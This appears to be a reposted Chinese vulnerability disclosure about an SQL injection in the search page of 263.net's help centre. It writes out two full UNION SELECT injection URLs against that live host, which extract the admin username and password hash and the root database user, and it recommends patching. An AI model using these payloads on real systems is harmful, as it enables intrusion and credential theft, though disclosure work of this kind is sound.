263通信帮助中心helpcenter.263.net存在一处SQL注入，用户是root，作为大站，可能造成严重信息泄露。 用 浏览器 访问http://helpcenter.263.net//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,+CONCAT(0x7c,userid,0x7c,pwd),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a，可以得到管理员的用户名和加密的密码，如图1。访问 http://helpcenter.263.net//plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,+CONCAT(0x7c,user(),0x7c,database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a，得到了连接 数据库 的用户root和数据库名，如图2。
修复方案： 建议打补丁，官方已经出了补丁。
查看更多关于263通信一处root用户的SQL注入 - 网站安全 - 自学的详细内容...